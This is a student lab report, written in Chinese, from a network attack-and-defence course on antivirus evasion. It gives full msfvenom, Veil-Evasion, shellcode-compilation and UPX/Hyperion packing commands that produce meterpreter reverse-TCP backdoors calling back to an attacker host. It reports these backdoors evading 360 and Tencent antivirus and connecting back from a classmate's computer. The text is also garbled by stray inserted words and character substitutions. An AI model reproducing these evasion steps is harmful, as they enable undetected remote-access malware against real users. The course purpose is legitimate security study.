20165214 2018-2019-2 《网络对抗技术》Exp3 免杀原理与实践 Week5

《网络对抗技术》Exp3 免杀原理与实践 Week5

1、实验内容

  • 一、正确使用msf编码器,msfvenom生成如jar之类的其余文件,veil-evasion,加壳工具,使用shellcode编程;php

  • 二、经过组合应用各类技术实现恶意代码免杀;html

  • 三、用另外一电脑实测,在杀软开启的状况下,可运行并回连成功,注明电脑的杀软名称与版本;java

2、实验步骤

步骤一:正确使用msf编码器,msfvenom生成如jar之类的其余文件,veil-evasion,加壳工具,使用shellcode编程;

msf尝试

  • 一、在命令行输入msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=172.20.10.3 LPORT=5214 -f exe > 5214msf.exe,生成5214msf.exe。将5214msf.exe上传到Virus Total进行检测,检测结果以下,有50个杀软检测出来了。
    shell

  • 二、上面是只进行一次编码,接下来编码十次:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=172.20.10.3 LPORT=5214 -f exe > 5214msf-10.exe。再把它上传到VirusTotal,检测结果以下:
    编程

能够看到仍是有48个杀软检测出来了,编码屡次和编码一次的免杀效果差异不大。由于咱们使用的是一样的模板,杀软只要针对这个模板有所防备就好了,windows

使用msf生成其余格式的文件(参考博客Metasploit之多种后门生成

  • 一、生成jar:msfvenom -p java/meterpreter/reverse_tcp LHOST=172.20.10.3 LPORT=5214 W >5214msf-java.jar,检测结果:
    数组

  • 二、生成php:msfvenom -p php/meterpreter/reverse_tcp LHOST=172.20.10.3 LPORT=5214 -f raw >5214msf-php.php,检测结果:
    安全

  • 三、生成jsp:msfvenom -p java/jsp_shell_reverse_tcp LHOST=172.20.10.3 LPORT=5214 R >5214msf-jsp.jsp,检测结果:
    网络

veil-evasion的尝试

  • 一、安装Veil-Evasion。
    • 参考同窗的博客,先执行
    mkdir -p ~/.cache/wine
    cd ~/.cache/wine 
    wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86.msi
    wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86_64.msi
    • 安装Veil-Evasion:sudo apt-get install veil-evasion
    • 输入veil打开veil,第一次打开时须要进行安装
      这应该是这个实验最最最最花时间的部分了。。和各位同窗遇到的问题同样,我也是各类卡,卡%16,%25,%91等等等等。可是我一直等了下去,等了四、5个小时,之间经历了断网重来,中间还又装了和Python相关的三、4个软件,使人绝望。后来终于下好了!输入veil后出现界面:
  • 二、打开veil后,先输入use evasion进入evasion界面。
    jsp

  • 三、生成后门程序
    • 输入use c/meterpreter/rev_tcp.py

    • 输入set LHOST 172.20.10.3设置回连地址(这里的IP地址是kali虚拟机的ip地址)
    • 输入set LPORT 5214设置回连端口
    • 输入generate生成文件
    • 最后输入你想要给后门程序起的名字,这里我输入的是5214-veil。成功生成文件:

      文件默认在/var/lib/veil/output/compiled/5214-veil1.exe

  • 四、使用VirusTotal进行检测,发现仍是有37个杀软可以检测出来:

使用shellcode编程

  • 一、在命令行中输入msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.20.10.3 LPORT=5214 -f c来生成C语言格式的ShellCode数组。

  • 二、建立5214-shell.c建立.c文件,输入下图中的代码,其中buf数组中的值就是上面生成的。

  • 三、输入i686-w64-mingw32-g++ 5214-shell.c -o 5214-shell.exe进行编译。将获得的5214-shell.exe先使用VirusTotal进行检测,结果以下:

  • 四、打开msfconsole,再在本机上打开5214-shell.exe,此时发现没法链接(可是在下面加壳事后就能够链接上了)

  • 五、结合使用不一样编码器:msfvenom -p windows/meterpreter/reverse_tcp -e x86/bloxor LHOST=172.20.10.3 LPORT=5214 -f c

  • 六、建立5214-shell-extend.c建立.c文件,输入下图中的代码,其中buf数组中的值就是上面生成的(buf太长,省略一部分)。

  • 七、输入i686-w64-mingw32-g++ 5214-shell-extend.c -o 5214-shell-extend.exe进行编译。将获得的5214-shell-extend.exe先使用VirusTotal进行检测,结果以下:

加壳工具

加壳是对相应的资源进行压缩,压缩后仍可运行。它能够用来保护版权,但同时许多病毒也利用它来做为原理。接下来将使用压缩壳和保密壳来进行试验。

  • 一、压缩壳(UPX)
    • 输入upx 5214-shell.exe -o UPX5214-shell.exe进行加壳

    • 加壳后进行检测,以下:

    • 尝试进行回连,成功:

  • 二、加密壳Hyperion
    • 考虑到下一步就是组合技术实现免杀,因此我就直接把加压缩壳后的文件直接再加加密壳。

    • 将UPX5214-shell.exe复制到/usr/share/windows-binaries/hyperion/

    • 在目录/usr/share/windows-binaries/hyperion/下输入wine hyperion.exe -v UPX5214-shell.exe HyperionUPX5214-shell.exe再次进行加壳:

    • 进行免杀检测:

    • 尝试进行回连:

步骤二:经过组合应用各类技术实现恶意代码免杀;

  • 开启360,把在步骤一中最终生成的hyUPX5214-shell.exe放到本机中,发现没有被查杀:

步骤三:用另外一电脑实测,在杀软开启的状况下,可运行并回连成功,注明电脑的杀软名称与版本;

  • 把文件发到同窗的电脑上(装有腾讯管家13.0.19837.233),没有被杀掉。

  • 在个人kali上打开msfconsole,而后在同窗的电脑上运行后门程序,成功连上

3、遇到的问题

  • 一、在使用msf生成的shellcode编译成文件来尝试进行回连时失败了,可是加壳后回连就成功了。如今尚未发现其缘由。

  • 二、老师的指导书中一些说杀软杀不出来的地方,结果杀软都杀掉了。。。这是否是也说明了杀毒软件也是在不停发展的?咱们实验所用的处理软件都是比较经常使用的,加上咱们的步骤都是比较简单的,很容易成为杀软的识别对象。

4、基础问题问答

  • 一、杀软是如何检测出恶意代码的?
  • 答:基于特征码的检测:简单来讲一段特征码就是一段或多段数据。若是一个可执行文件(或其余运行的库、脚本等)包含这样的数据则被认为是恶意代码。
    启发式恶意软件检测:对恶意软件检测来主说,就是若是一个软件在干一般是恶意软件干的事,看起来了像个恶意软件,就把它当成一个恶意软件进行检查。典型的行为如链接恶意网站、开放端口、修改系统文件,典型的“外观”如文件自己签名、结构、厂商等信息等。
    基于行为的恶意软件检测:基于行为的检测至关因而启发式的一种,或者是加入了行为监控的启发式

  • 二、免杀是作什么?
  • 答:免杀就是让安插的后门不被AV软件发现

  • 三、免杀的基本方法有哪些?
  • 答:
  • 改变特征码
    • 若是你手里只有EXE
      • 加壳:压缩壳 加密壳
    • 有shellcode(像Meterpreter)
      • 用encode进行编码
      • 基于payload从新编译生成可执行文件
    • 有源代码
      • 用其余语言进行重写再编译(veil-evasion)
  • 改变行为
    • 通信方式
      • 尽可能使用反弹式链接
      • 使用隧道技术
      • 加密通信数据
    • 操做模式
      • 基于内存操做
      • 减小对系统的修改
      • 加入混淆做用的正常功能代码
  • 四、开启杀软能绝对防止电脑中恶意代码吗?
  • 答:从实验中就能够知道不能够。

5、心得体会

此次实验让我知道了有不少杀毒软件实际上是无论用的,一些简单的操做就可以迷惑他们。可是,杀毒软件也是不断地在更新的,之前学长学姐们能够正常存留下来的程序,我在作的时候就都被杀软发现了。感受实验仍是颇有趣的,毕竟和现实练习是很密切的。此次实验让我感觉到了免杀的强大力量,也让我感觉到了本身的能力有限。从此应增强学习,不断提升本身的网络安全能力。

相关文章
相关标签/搜索